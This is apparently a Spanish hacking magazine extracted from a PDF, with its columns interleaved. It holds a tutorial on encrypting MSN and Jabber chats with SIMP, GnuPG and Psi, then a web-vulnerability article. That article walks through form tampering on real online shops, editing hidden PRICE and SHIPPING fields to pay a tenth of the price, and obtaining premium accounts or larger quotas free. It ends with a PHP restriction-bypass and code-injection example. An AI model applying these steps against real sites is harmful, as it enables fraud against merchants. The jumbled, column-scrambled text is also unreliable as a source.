Como vemos, un hipotético atacante Bueno, lo más sencillo es no usar
con acceso a la red -con técnicas que mensajería instantánea... es broma, es
ya hemos visto muchas veces- de uno broma :-P. Lo mejor -como siempre
de los dos interlocutores (en este caso ;-)- es echar mano de la criptografía.
particular, de ambos) puede espiar la
conversación con un simple sniffer y un Existen algunos programas para cifrar
filtro para controlar el puerto 1863. las conversaciones de mensajería
instantánea como Encrypted Messenger
Si bien el protocolo de MSN Messenger (http://www.johnytech.com/product.a
Imagen 7 no es un estándar público -por lo que sp?Id=14) (Imagen 09), que permite
no se encuentra detallado en ningún cifrar conversaciones en múltiples

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


versión 7...) y Windows Messenger.
Además, para los usuarios de Windows
presenta otra gran desventaja:
únicamente funciona con un sistema
OpenPGP de línea de comandos, es decir,
se hace imprescindible utilizar una
versión "veterana" de PGP (os
recomiendo la 6.5.8) o bien usar GnuPG.

L a ve r s i ó n 6 . 5 . 8 e s u n a ve r s i ó n
"legendaria" de PGP. ¿Por qué? Por ser
la última versión de línea de comandos
que tuvo PGP. A partir de la versión 7
(más tarde la 8 -la que yo uso en
Windows- y la actual 9) se desechó por
completo el uso de línea de comandos
para PGP, integrando el software con
Windows mediante su shell gráfica.

Fueron MUCHAS las personas que,


llegada la versión 7 de PGP, decidieron
Imagen 8 continuar con 6.5.8 para poder
aprovechar la potencia y versatilidad de
la línea de comandos. De hecho...
¿recordáis las claves "RSA Legacy" que
se mantenían por razones de
compatibilidad? Pues la versión 6.5.8
es el motivo.

Aún hay gente que utiliza PGP 6.5.8 de


forma habitual, si bien muchos de sus
usuarios han ido migrando cada vez
más al genial GnuPG, que ofrece una
interfaz de línea de comandos a la vez
que compatibilidad con los algoritmos
más modernos de cifrado... de hecho
acabáis de ver vosotros mismos cómo
Imagen 9 implementar cifrado de curvas elípticas
sin renunciar a la línea de comandos.
master@blingdenstone:~$ ls -l ssinstall.exe
-rw-r--r-- 1 master master 106319 Jul 9 13:20 ssinstall.exe Podéis descargar PGP 6.5.8 (para
master@blingdenstone:~$ md5sum ssinstall.exe
66c20e5110af1016bc1ccbc8c9c1a82f ssinstall.exe
master@blingdenstone:~$ sha1sum ssinstall.exe
bc08fde534fa6926f890b2026cf86cc618c32b7b ssinstall.exe
master@blingdenstone:~$

Listado 15

protocolos de mensajería y clientes existen algunos programas para


diferentes. implementar cifrado OpenPGP en MSN
Messenger.
Esta clase de programas de cifrado están
muy bien, aportan seguridad a nuestras Quizá uno de los primeros programas
comunicaciones y todo eso... pero su para esta tarea fue Spyshield
sistema de cifrado no nos es familiar (http://www.commandcode.com/spys
(y, creedme, en los programas de cifrado hield.html). Hoy en día está algo
es habitual encontrar puertas desfasado, pues implementa compa-
traseras...). A nosotros lo que nos tibilidad únicamente para MSN
interesa es... OpenPGP, claro. De hecho, Messenger 4.x (y ahora andan por la Imagen 10

10

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


las comprobaciones de tamaño, hash MD5
y hash SHA-1 en Windows? Muy fácil.

Para comprobar el tamaño, Si bien Spyshield cumple perfectamente


seleccionaremos con el botón derecho con su cometido, está algo desfasado
el fichero a comprobar y elegiremos la en cuanto al software que soporta, por
opción "Propiedades" (Imagen 10). En lo que echaremos un vistazo a otro
el campo "Tamaño" podremos ver los programa más moderno que cumple la
bytes que ocupa: 106.319 (los mismos misma función... ese software se llama
que nos devuelve al ejecutar "ls -l SIMP (Secway Instant Messenger
ssinstall.exe". Privacy), y está disponible para los
protocolos de mensajería de MSN,
Para comprobar los hashes (tanto MD5 Yahoo!, ICQ y AIM. La versión Pro
como SHA-1) vamos a utilizar un (http://www.secway.fr/products/simp
p r o g ra m a l l a m a d o H a s h C a l c ( q u e pro/home.php?PARAM=us,ie) soporta
Imagen 11 podemos descargar de http://www. todos los protocolos citados, mientras
slavasoft.com/hashcalc/) que sirve para que las versiones Lite solamente
múltiples sistemas) de aquí: http:// -como su propio nombre indica- realizar soportan uno de ellos (es decir, hay
web.mit.edu/network/pgp.html cálculos de hashes en gran cantidad de cuatro Simp Lite diferentes). Todas las
algoritmos diferentes. En nuestro caso versiones Lite son gratuitas para uso
Si deseáis probar Spyshield, podéis s e l e c c i o n a r e m o s M D 5 y S H A- 1 e personal (un detalle por parte de
bajarlo de aquí (como siempre, indicaremos la ruta al fichero (Imagen Secway, la empresa desarrolladora del
comprobamos los hashes del fichero 11). Como podréis comprobar, los software).
descargado): http://www.command- valores hash devueltos son los mismos
code.com/downloads/ssinstall.exe. que hemos calculado con md5sum y Nosotros vamos a centrarnos en SIMP
(ver listado 15) sha1sum en Linux. Lite para el protocolo MSN Messenger
(http://www.secway.fr/products/simpl
Llegados a este punto -y tras la Una vez instalado, al ejecutarlo por i t e _ m s n / h o m e . p h p ? PA R A M = u s , i e ) .
compilación de ECCGnuPG en Linux- primera vez nos pedirá la ruta a PGP o
muchos de vosotros trabajaréis con un GnuPG. Tras eso, sólo es necesario Vamos, pues a descargar tanto el
sistema Windows para seguir esta parte arrancar el messenger y posteriormente software como la firma PGP (que para
del artículo. Así pues, ¿cómo realizamos Spyshield. algo la dan, ¿no? ;-P) y comprobamos

master@blingdenstone:~$ wget http://www.secway.fr/resources/pgp/secway.asc


--14:11:38-- http://www.secway.fr/resources/pgp/secway.asc
=> `secway.asc'
Resolving www.secway.fr... 213.186.33.16
Connecting to www.secway.fr|213.186.33.16|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,385 (2.3K) [text/plain]

100%[==================================================================>] 2,385 --.--K/s

14:11:44 (99.79 KB/s) - `secway.asc' saved [2385/2385]

master@blingdenstone:~$ gpg --import secway.asc


gpg: key 9C83ABF1: public key "Secway <contact@secway.fr>" imported
gpg: Total number processed: 1
gpg: imported: 1
master@blingdenstone:~$ gpg --verify-files SimpLite-MSN-2_1_6-en.msi.sig
gpg: Signature made Fri Apr 8 18:47:53 2005 CEST using DSA key ID 9C83ABF1
gpg: Good signature from "Secway <contact@secway.fr>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 90C6 4F05 41E5 8099 E015 227B 826C 845A 9C83 ABF1
master@blingdenstone:~$ ls -l SimpLite-MSN-2_1_6-en.msi
-rw-rw-rw- 1 master master 3488768 Jul 9 13:37 SimpLite-MSN-2_1_6-en.msi
master@blingdenstone:~$ md5sum SimpLite-MSN-2_1_6-en.msi
875283db84f648da1d941c8a37835523 SimpLite-MSN-2_1_6-en.msi
master@blingdenstone:~$ sha1sum SimpLite-MSN-2_1_6-en.msi
6a92e676b89e7745ea1c6dbe89f3433be7d9daa2 SimpLite-MSN-2_1_6-en.msi
master@blingdenstone:~$

Listado 16

11

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


tanto los hashes como la firma: Gaim... aunque desconozco el la versión gratuita es mucho más que
http://www.secway.fr/products/simpli grado de compatibilidad con los suficiente... y más para la gente como
te_msn/download.php?PARAM=us,ie. mismos). Seleccionaremos MSN y o q u e n o u s a M e s s e n g e r. : - P
(ver listado 16) Messenger.
5) Configuración automática: el 1) Asistente de generación de
Confío en que a estas alturas software se configurará para claves (Keys Generation Wizard)
comprendáis perfectamente el proceso quedarse listo para ser usado. (captura14).
(y podáis realizarlo desde Windows si
ese es vuestro sistema): descargamos Tras este proceso, se iniciará el proceso
la clave de la desarrolladora (el enlace de generación de claves.
a l a c l ave e s t á e n l a p á g i n a d e
descarga); importamos la clave a ¡Eh, un momento! ¿Pero esto no era
nuestro anillo local; comprobamos la OpenPGP? Pues sí y no. Me explico. El
f i r m a ( n o s d e v u e l ve u n e r r o r d e sistema de cifrado que utiliza SIMP Lite
confianza porque no hemos firmado esa es muy, muy parecido al utilizado por
clave) y después realizamos las OpenPGP: como podemos comprobar
comprobaciones habituales del tamaño en las especificaciones del software
del fichero y sus hashes. Ha llegado el (http://www.secway.fr/products/simpl
Imagen 14
momento de Instalarlo (obviamente para ite_msn/tech.php?PARAM=us,ie), el
esto no quedará más remedio que ir a sistema de cifrado se basa en claves 2) Selección del sistema de cifrado
Windows... :-P). RSA de hasta 2048 bits, así como cifrado (captura15): debemos especificar
simétrico de hasta 128 bits (AES o el nombre de nuestra clave (yo,
Lo primero que nos encontramos es la Twofish). en un alarde de originalidad, la he
típica pantalla de bienvenida al llamado "Clave"), el tipo de cuenta
instalador (Imagen 12) seguida de un Aunque este sistema no es compatible (global), el tipo de cifrado (RSA
proceso de instalación de lo más normal, -en principio- con OpenPGP, podría serlo de 2048 bits) y el tipo de servicio
y que por tanto, obviaré detallar. Una perfectamente, y de hecho existe un en el que vamos a utilizarla (MSN).
vez finalizada la instalación, se inicia el plugin que implementa compatibilidad
asistente de configuración (Configuration con PGP8... pero dicho plugin es para
Wizard), en el que se nos presentan las la versión Pro (de pago, 25$ la licencia
siguientes pantallas: individual) del software
(http://www.secway.fr/products/simp
pro/spec/adv_plug.php?PARAM=us,ie)
(Imagen 13). Echando un vistazo a las
c a ra c t e r í s t i c a s d e l a ve r s i ó n p r o
(http://www.secway.fr/products/simp
pro/tech.php?PARAM=us,ie)
encontramos las diferencias con la Lite.
Imagen 15

3) Pantalla de introducción de
password: ¿no os recuerda una
barbaridad a la de PGP? A mí sí
jejeje...
Imagen 12 4) Generación de entropía: como
en otras ocasiones, la máquina
1) Pantalla de bienvenida. Nada necesita de entropía para poder
nuevo. generar números aleatorios para
2) Selección de "Ballon Boxes": la la generación de la clave.
activamos. 5) Clave generada: ya tenemos
3) Selección de tipo de conexión: nuestro par de claves (captura16)
en casi todos los casos (y si no y nos presenta el fingerprint (en
sabéis qué elegir) seleccionaremos f o r m a d e h a s h S H A- 1 ) p a ra
conexión directa (direct comprobaciones.
connection).
4) Aplicación cliente: Nos dejan Imagen 13 Es el momento de echar un vistazo a la
elegir entre MSN Messenger, pantalla principal de SIMP (captura17).
Trillian, Trillian Pro y otros (por si Pero, si bien el sistema no es PGP, como Como veréis, tenemos un marco superior
deseamos usarlo con otros clientes ya he dicho, sí es prácticamente igual, donde podemos ver las claves que
como Windows Messenger, aMSN, por lo que la seguridad que nos otorga tenemos en nuestro anillo, así como un

12

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


una charla... incomprensible (captura21). Revisando
el tráfico capturado, se encuentra
Usuario A inicia sesión y se encuentra campos como "Session Key", lo cual es
con que Usuario B ya está conectado. síntoma inequívoco de una conexión
Tanto mejor. Al abrir una ventana de cifrada... como nuestro atacante es
conversación, aparece una ventana tremendamente malo, pero no tonto,
(captura18) en la que se le solicita se ha dado cuenta de que Usuario A y
permiso para descargar la clave pública Usuario B, hartos de ser espiados, han
de su amigo Usuario B. Tras aceptar, puesto fin a la situación cifrando sus
Usuario A comprueba que la clave de conversaciones. :-)
Imagen 16 su amigo ha sido incluida en su anillo

Efectivamente, MSN Messenger no es


el único protocolo de mensajería
instantánea, ni tampoco la mejor opción
en mi opinión. Desde luego, si algún
amigo mío está leyendo este artículo,
aún debe estar alucinando por verme
utilizar MSN Messenger (siempre me
están dando la bronca porque no me
conecto casi nunca...).

Efectivamente, no soy muy simpatizante


de la mensajería por MSN Messenger.
¿Y porqué he hablado de él entonces?
Porque aunque a mí no me guste, no
puedo negar la realidad de que es el
más utilizado por los usuarios... y este
Imagen 17
Taller que tienes en tus manos tiene un
objetivo principal: proteger TU
PRIVACIDAD.

Por ello, he considerado importante


tratar en primer lugar el cifrado de MSN
con SIMP de forma detallada, y dejar
para después lo que para mí habría sido
la opción principal sin duda.

Además, ten en cuenta que TODAS tus


conversaciones de Messenger pasan por
Imagen 18
los servidores de Microsoft
marco inferior donde encontramos un local (captura19). Por fin, los dos invariablemente... no sé a vosotros,
diagrama de estado de las conexiones amigos comienzan a charlar pero eso a mí me pone los pelos como
activas (cifradas y autenticadas, cifradas (captura20) con absoluta tranquilidad, escarpias. :-P
y no cifradas). SIMP se ha quedado a pues un mensaje emergente de SIMP
la escucha (podemos ver un icono en la les ha informado de que la conversación No voy a montar una comparativa de
bandeja de sistema) esperando a que está cifrada y autenticada, lo cual han protocolos de mensajería instantánea,
iniciemos nuestro cliente de MSN podido comprobar en el diagrama de no es el momento ni el lugar, pero como
Messenger... conexiones activas de SIMP. ya sabréis, me gusta orientar mis
artículos al mundo del software libre
Nuestros queridos Usuario A y Usuario ¿Y qué ha sido de nuestro atacante? multiplataforma tanto como me es
B, por consejo de su amigo Death Claro, él ha seguido su tónica habitual posible.
Master, han instalado SIMP en sus de cotillear en la red para espiar la
máquinas para evitar fisgones en su conversación de nuestros dos amigos... Por ello, vamos a hablar ahora de cifrado
red. Con sus claves generadas, han pero ésta vez se ha encontrado con una en la red Jabber con GnuPG. Si bien yo
quedado a una hora concreta para tener sorpresa: la captura de datos es seguiré estos ejemplos desde mi sistema

13

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


org/rfc/rfc3921.txt).

Las principales características de Jabber


son: es un sistema abierto (libre),
estándar (XMPP), descentralizado (no
se "cae el servidor" porque hay muchos),
seguro (aparte de OpenPGP, el propio
XMPP implementa SASL y TLS), escalable
(por el propio diseño de XMPP) y
enormemente flexible.

Además, dispone de una enorme


cantidad de clientes
(http://www.jabber.org/software/clien
ts.shtml) y servidores
(http://www.jabber.org/software/serv
ers.shtml).

No dejéis de probarlo. ;-)


Imagen 19
Debian SID GNU/Linux, pueden ser De entre todos los clientes que soportan
perfectamente seguidos desde cualquier el protocolo Jabber, yo he seleccionado
otro sistema donde puedas compilar un Psi (http://psi.affinix.com/) por ser mi
cliente de Jabber con soporte OpenPGP favorito (entre otras cosas por tener
y GnuPG. Y eso son muchos sistemas. soporte OpenPGP nativo). Las versiones
de software que voy a utilizar son Psi
¿Qué es Jabber? Es un sistema de 0.9.3-1 y GnuPG 1.4.1-1.
mensajería instantánea completamente
libre (http://www.jabber.org/) cuyos Al igual que con la mayoría del software
protocolos basados en XML han dado libre, para obtener Psi podéis bajar
lugar a una tecnología denominada XMPP binarios precompilados para vuestro
-Extensible Messaging and Presence sistema (para los Debianitas, apt-get
Protocol- (http://www.xmpp.org/). Este install psi :-P) o bien compilar vosotros
estándar ha sido descrito en los RFC's mismos el código fuente. Creo que nadie
# 3 9 2 0 ( h t t p : / / w w w . i e t f. o r g / r f c / va a tener problemas con esto a estas
rfc3920.txt) y #3921 (http://www.ietf. alturas (y si los tiene... ¡visita nuestro
foro y compártelos con nosotros!).
Imagen 20
Una vez instalado Psi y creada una
cuenta de Jabber (si no teníais ya una),
seleccionamos la opción de "Modificar
cuenta" (captura22) y pinchamos en

Imagen 22

"Seleccionar llave". Psi nos mostrará


Imagen 21 u n a l i s t a d e l a s c l a ve s p r i va d a s

14

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


disponibles en nuestro anillo de claves
para que seleccionemos la que deseamos
u s a r p a r a J a b b e r. R e c o m i e n d o
encarecidamente NO activar la opción
de "Guardar contraseña" de OpenPGP...
no olvidemos que estamos hablando de
nuestra clave privada.

Para cualquier duda relacionada con el


conjunto de protocolos de Jabber, con Imagen 25 Imagen 26
su funcionamiento, o cualquier asunto
relacionado, os recomiendo
encarecidamente que echéis un vistazo
por JabberES (http://www.jabberes.
org/), donde podréis encontrar
tutoriales, guías, FAQ's...

Lamentablemente no disponemos de
espacio para explicar paso a paso cosas
como la generación de una nueva cuenta
de Jabber... así que podéis buscar
información en fuentes externas... o
preguntar en nuestro foro. :-P

A partir de este momento, cada vez que


iniciemos sesión, se nos solicitará el
passphrase de la clave privada
(captura23).

Imagen 28

Imagen 23

Imagen 28
Imagen 24
enviar un mensaje o iniciar una charla información al destinatario y enviarla.
Tras asignar nuestra clave, debemos con algún usuario de Jabber al que
asignar las claves públicas a nuestros hayamos asignado una clave, sólo Como siempre, vamos a comprobar la
contactos. Para ello, abrimos el menú debemos pulsar en el icono de "Cambiar efectividad de esta técnica. Cuando
contextual del contacto y seleccionamos el cifrado" (captura25) para activar el enviamos un mensaje sin cifrar, si
la opción "Asignar la llave OpenPGP" cifrado OpenPGP (captura26). Psi se c a p t u ra m o s e l t r á f i c o d e l a r e d ,
(captura24). Ahora, cuando queramos encargará automáticamente de cifrar la observamos que podemos leer

15

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


seguridad de nuestras conexiones. ¿Para
qué puede servir? Por ejemplo, en el
caso de mandar mensajes cifrados con
OpenPGP, al capturar el tráfico se podría
ver quién es el destinatario del mensaje
(al igual que ocurría con el correo
electrónico). Podemos evitar esta
incidencia usando conexiones cifradas
(como SSL o TLS). Esta opción se
encuentra disponible en la mayoría de
los clientes de Jabber, como en Psi
(captura29) y de hecho en algunos
como Pandion (http://www.pandion.be/)
la comunicación con el servidor se realiza
siempre mediante conexiones cifradas.

Y hasta aquí hemos llegado con este


cuarto artículo del Taller de Criptografía.
Espero, como siempre, que os haya
resultado ameno pero sobre todo, que
haya resultado útil... me gustaría pensar
que desde aquí estoy contribuyendo a
mejorar la privacidad de todos los
internautas. :-)

¡Ah! Y una cosa para los usuarios de


Imagen 29 MSN Messenger: darle una oportunidad
a J a b b e r, n o o s a r r e p e n t i r é i s .
completamente el mensaje y su porque creo que ya no es necesario,
destinatario (captura27), mientras que tras la experiencia (bastante similar) Como siempre, si existen dudas o
cuando enviamos el mensaje con la con el correo electrónico del artículo problemas con el artículo o algo
opción de cifrado OpenPGP en la captura anterior y la de MSN Messenger, del relacionado podéis contactar conmigo
observamos un mensaje cifrado cual hemos hablado hace unas páginas. o visitar el foro de la revista
( c a p t u r a 2 8 ) . . . e s d e c i r, n a d a http://www.hackxcrack.com/phpBB2/i
c o m p r e n s i b l e p a ra u n h i p o t é t i c o Sí quiero destacar que existe una opción ndex.php. Hasta el próximo artículo.
atacante. Como veréis, no he detallado adicional en Jabber que nos puede
mucho el tema del cifrado con Jabber ayudar a incrementar (más aún) la Ramiro C.G. (alias Death Master)

ATENCIÓN TELEFÓNICA: PEDIDOS Y SUSCRIPCIONES

TELÉFONO:
977 22 45 80 Persona de Contacto:
FAX:
977 24 84 12 Srta. Genoveva
Servicio Ofrecido Lunes, Martes y Viernes
De 10:00 a 13:30

16

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Hoy en día encontramos que internet ya es mucho más dinámico que lo era en un principio,
donde nos dan la opción de interactuar continuamente con la página web mediante búsquedas,
dejar comentarios, introducir nuestros criterios de visualización en un idioma/color u otro,
registrarse como usuario para tener un panel de control personalizado, poder ver en la página
ciertas secciones o entrar en ellas según el tipo de usuario, y un largo etcétera.

Dada una especie de "ley universal" de las páginas web que siempre he pensado: "cuanto más
pijadas tenga antes se romperá", cuanto más interactiva es la página, más probabilidades
tiene de tener fallos de seguridad y ahí estaremos nosotros para encontrarlos, siempre con
el fin de avisar al pobre admin de la web sobre ese fallo por supuesto ;).

Esta clasificación de vulnerabilidades es una idea


aproximada de las que hay y de cómo se podrían englobar,
Hay muchos tipos de vulnerabilidades que se pueden seguramente habrá de más tipos y se estén uniendo
encontrar en una página web, nos basaremos en los fallos algunas en un mismo grupo que puedan ser de categorías
de programación y no de aplicación. propias, pero así nos entenderemos todos mejor.

Como dicen, cada persona es un mundo, y cada persona Para aprovechar estas vulnerabilidades siempre podremos
tiene su propia manera de programar, y por suerte o hacerlo de varios modos, principalmente 2, enviando
desgracia, hay mucha gente que no le apasiona su labor información modificada por nosotros a través de nuestro
y la hacen porque es "lo que da dinero" por lo cual no se navegador (o con un sniffer y luego por telnet si queréis
esmeran en saber si ese código esta optimizado, o peor ver mejor qué es lo que pasa) o modificando las cookies.
aún, si es seguro. Este tipo de programadores abundan
en cuanto creación de páginas web por lo que ya se tienen
una estirpe de vulnerabilidades que son fáciles de encontrar
y explotar. Se trata de la modificación de campos que ya han sido
asignados y que suelen estar ocultos al usuario. En una
Se podrían clasificar en: tienda online pueden tener en variables el nombre del
producto y además el precio como campo oculto, el cual
Form Tampering
podríamos modificar y después enviar el formulario con
Restriction Bypass
un cero menos y nos costaría 10 veces menos.
File Inclusion
Ahora nos surge la gran pregunta... ¿cómo vemos los
Code Injection (HTML Injection, Java Injection, c a m p o s o c u l t o s ? Te n e m o s v a r i a s m a n e r a s :
VBS Injection, PHP Injection...)
XSS o Cross Site Scripting Mirando el código fuente de la página
SQL Injection Usando un sniffer o el netcat al enviar la información

17

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Dejando el netcat a la escucha buscamos
e n n u e s t r o n ave g a d o r l a p a l a b ra
hackxcrack en el google. Encontramos
que nos daría el siguiente texto:
(imagen 2)

Copiamos todo este texto al notepad y


modificamos "hackxcrack" por "pc paso
a paso" que será lo que buscaremos,
borramos la línea que pone "Accept-
Encoding: gzip,deflate" para que nos
devuelva el resultado en texto plano y
guardamos el archivo como in.txt
Desde una línea de comando, y en la
ruta donde se encuentre el archivo in.txt
enviaremos por telnet la petición de
esta búsqueda, y luego veremos el
resultado que quedará guardado en un
f i c h e r o . Pa r a e l l o p o n d r e m o s l o
siguiente:

nc -vv www.google.es 80 < in.txt > out.htm

Una vez finalice tendremos el archivo


out.htm que podremos visualizar con
nuestro navegador. El problema radica
en que si tenemos un nuevo formulario
Imagen 1 o imágenes, es muy posible que las
rutas sean relativas al servidor por lo
que no funcionarían luego correctamente
Usando nuestro querido firefox opciones del proxy para que apunten a
los formularios ni veríamos las
con la extensión de webdeveloper localhost y puerto 8080 (imagen 1),
imágenes.
;) por lo que cuando enviemos el
formulario veremos toda la petición
Por último tenemos la opción más
Si queremos encontrar los campos completa, variables que se asignan, sus
cómoda, usar el firefox con la extensión
ocultos mirando el código fuente sería valores, etc..
webdeveloper (imagen 3).
dando al botón derecho del ratón sobre Los datos que nos muestre el netcat los
la página y seleccionando "Ver código copiaremos al notepad y modificaremos
Lo primero que haremos será instalarlo
fuente de la página". Una vez aquí a nuestro gusto, dejando un doble intro
(https://addons.mozilla.org/extension
buscamos la palabra Hidden y miramos al final para luego seleccionar todo el
s/moreinfo.php?application=firefox&c
los campos que hay ocultos y qué valor texto y enviar esta petición por telnet.
ategory=Developer%20Tools&numpg
tienen. El problema es que no Ejemplo.
=10&id=60). Una vez instalado
encontraremos todos los campos juntos
por lo que habría que ir apuntándolos.

Usando un sniffer o el netcat la idea es


saber qué variables estamos enviando
cada vez que rellenemos el formulario.
Usando un sniffer sería la manera más
correcta ya que veremos todo el proceso
de envío y la respuesta, pero puede ser
que no nos interese enviar realmente
esta información, sino solamente ver
qué enviaríamos, para esto tenemos la
siguiente opción: vamos a la línea de
comando y ponemos el netcat a la
escucha a un puerto cualquiera (nc -
vvLp 8080 por ejemplo) y luego
configuramos en nuestro navegador las Imagen 2

18

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Imagen 3

cerramos el firefox y lo volvemos a abrir Usando la extensión de webdeveloper, nos mostrará todos los campos ocultos
y veremos que aparece una nueva barra tendremos la posibilidad de hacer que hay en el formulario, junto con el
de herramientas, la webdeveloper, la tampering sin tener que modificar el valor que tienen (imagen 4).
cual tiene muchas utilidades, y haremos código de la página con un notepad.
uso de algunas de ellas. Para ello sólo tenemos que darle en la Si leemos detenidamente, podremos
barra de webdeveloper en la primera encontrar nombres de campos que
Buscaremos por internet alguna web opción de Disable, y aquí seleccio- pueden ser muy útiles como los que se
que pueda ser vulnerable a tampering. naremos Disable Javascript. Así ya mencionaban antes (precio, valor,
Cualquier web que tenga un formulario hemos conseguido evitar esta restricción importe, price, etc).
para cualquier tipo de servicio puede que teníamos.
ser vulnerable, por lo que tenemos una No sólo nos permite ver lo que hay en
gama muy amplia donde elegir, de todos Ahora vamos a mirar otro ejemplo que estos campos, sino que nos deja
modos donde suele ser más fácil puede ser más interesante. Buscamos modificarlos, y cuando le demos a enviar,
encontrar esta vulnerabilidad son en alguna tienda online por internet, se enviarán modificados como nosotros
tiendas online o al darse de alta en cualquiera que tenga un aspecto un queramos. Esto es realmente útil por
algún tipo de servicio donde se tengan poco descuidado, seguramente es ejemplo cuando estamos en una sesión
varios a elegir, por ejemplo crearse una vulnerable. Las páginas hechas en php, por HTTPS y queremos modificar
cuenta nueva de correo, hosting, etc... asp, etc. suelen ser mucho más vistosas, parámetros en el formulario. Si no
y a su vez más seguras ya que miran tuviéramos la extensión webdeveloper
Como primer ejemplo, buscad un foro por referencias los productos y de aquí por telnet lo tendríamos difícil y usando
que se vea que está programado por el su precio, pero como no todas son así, un sniffer también, por lo que con esto
webmaster (que no sean plantillas tipo encontramos las webs que tienen tiendas nos facilitan mucho las cosas.
phpBB), éstos suelen tener siempre gran online hechas en html y javascript,
cantidad de fallos, entre ellos el donde se encuentran campos ocultos Por ejemplo, en las imágenes que se
tampering. con el nombre de “precio”, “valor”, muestran, he encontrado una web donde
“importe” o similares. se pueden comprar online algunos
Para limitar el máximo de caracteres productos musicales. Mirando el estilo
que podemos enviar, muchas veces Una vez encontrada alguna página que de la web (botones de form para añadir
utilizan un javascript, el cual cuando creamos que puede ser vulnerable, al carro, desplegables para el precio, y
vamos a enviar el formulario, nos dice pulsaremos en el menú de Forms del un diseño modesto) nos da toda la pinta
que hemos excedido el máximo de webdeveloper y pulsaremos sobre que puede ser una tienda online hecha
letras, y no nos deja seguir adelante. Display Form Details. En ese momento en javascript, y muy posiblemente tenga
vulnerabilidades de tampering, por lo
que pulso sobre Display Form Details
en la opción de la webdeveloper y me
muestra todos los campos ocultos.

Tal y como se sospechaba, todos los


campos y valores vienen en el propio
formulario de modo oculto, encontramos
el campo llamado PRICE donde viene el
mismo valor que el precio del producto,
y el campo SHIPPING donde viene el valor
de los gastos de envío (imagen 5).

Pulsando sobre el valor que tiene


asignado este campo, lo borramos y le
pongo otro valor diferente, por ejemplo,
si un pedal Korg me cuesta 72,53€
pondremos 7,53€ y ya que sale barato,
ponemos 2 ;) Para dejar el pedido más
asequible podemos cambiar los gastos
de envío de 5,95€ a 1,95€. Le damos a
añadir al carro y finalmente a Ver pedido.
Imagen 4

19

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Localizada la web que podría tener
vulnerabilidades de tampering,
procedemos a registrarnos en alguno
de sus servicios, y cuando llegamos al
formulario donde nos solicita todos
nuestros datos, pulsaremos sobre
Display Form Details para ver los campos
ocultos, donde casi siempre encon-
traremos algún campo que sea del tipo
“IDProducto” junto con otro parecido a
“Premium” con el valor a cero, o “Free”
y el valor a uno.

Curiosamente deberían de verificar si


es gratuito o no según el ID de producto,
pero no siempre es así y lo verifican
aparte, por lo que podemos abrir una
pestaña nueva en nuestro FireFox e
iniciar el registro en el acceso Premium
p a ra q u e d a r n o s c o n e l va l o r d e
IDProducto, el cual introduciremos en
Imagen 5 la pestaña donde nos estamos
Nos encontramos que nos cuesta en avisada de esta vulnerabilidad y en el registrando como si fuese de manera
total 27,31€ los 2 pedales con los gastos caso que encontréis alguna web gratuita. Por lo que si tenemos el
de envío incluidos. Dado que suele ir vulnerable a tampering es vuestro deber IDProducto de Premium pero el campo
todo automático, incluido el cargo a la avisar al administrador de la página Free con valor uno, nos dejará continuar
tarjeta de crédito, es muy posible que para que nadie pueda hacer un uso sin pedir datos de cuenta bancaria y
una vez realizado este pedido (con un fraudulento de la misma. seguiremos el proceso hasta tener
cargo incorrecto) automáticamente se nuestra cuenta, gratuitamente, pero con
genere el albarán de entrega de 2 Como último ejemplo, podemos buscar los extras de Premium.
productos del tipo especificado a la cualquier web donde nos ofrezcan algún
dirección indicada, sin llegar a verificarse tipo de servicio gratuito, el cual suele Pueden parecer estas vulnerabilidades
este importe erróneo salvo en futuros estar limitado, pero puede que gracias unos fallos muy simples los cuales sólo
controles contables. a esto (tener gratuito y Premium) se pueden ocurrir en webs que tengan
pueda conseguir la capacidad de varios años, de pequeñas empresas o
Por supuesto, esta web ya ha sido Premium utilizando el servicio gratuito. empresas familiares. Nada más lejos de
la realidad, ya que se pueden encontrar
estas vulnerabilidades en grandes
empresas donde el problema puede ser
muy grave si no se tiene la seguridad
en mente a la hora de programar.

Hacia mitades de Junio un ISP Español


fue advertido sobre una vulnerabilidad
de tampering en sus servicios ya que al
dar de alta el servicio gratuito de
hosting, al visualizar los campos ocultos,
había un campo llamado NewQuotaDisk,
donde tenía un 10 de valor ya que eran
10MB lo que se asignaban de cuota.
Sin mayor esfuerzo que añadir 3 ceros,
y darle a enviar al formulario, se
conseguían 10GB de hosting (imagen
6).

Este descuido fue por todos los servicios


que ofrecían por lo que al darse de alta
en una cuenta de email gratuito, al
Imagen 6 visualizar los campos ocultos,

20

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


encontrábamos el campo llamado estamos haciendo pasar por admin.
NewMailQuota con 5 como valor (5MB). for($i=0;$i<count($NicksRegs);$i++) { (primera restriction bypass), podemos
Testeando se añadió un cero para poner asignar el valor que queramos a
50MB y la cuenta se creó sin problemas. list($admin_nick,$admin_pass) = $cadena_final, incluyendo cualquier
Ya que no teníamos la certeza de tener explode(":",$NicksRegs[$i]); tipo de código (html, java, etc),
esta cuota realmente, se fueron permitiendo así code injection, lo cual
enviando emails con adjuntos hasta if ($nick == $admin_nick) { estaba filtrado (segunda restriction
llegar a ocupar 14MB. Dejando $cadena_final .= "<span bypass).
demostrado que la cuota había sido class=\"admin\">".$nick."</span>";
superada, quedaba claro lo grave que El valor que le daremos será </table>
era este fallo ya que se podrían usar $AdminNick = "si"; al principio para que cierre la tabla e
estas cuentas para el uso de warez o } interprete el código que se le inserte,
cualquier otro tipo de actividad. } después de esto podemos poner código
html, javascript, vbs, etc..
Por supuesto esta compañía fue avisada if ($AdminNick != "si") {
y arreglaron estos fallos en 24h, una $cadena_final .= "<acronym title = '". Para enviar el valor de $AdminNick =
respuesta muy rápida y eficaz donde no nickinfo($nick_info)."'> $nick “si” ya añadido según enviamos el
han vuelto a tener hasta ahora este tipo </acronym>"; comentario por post crearemos un
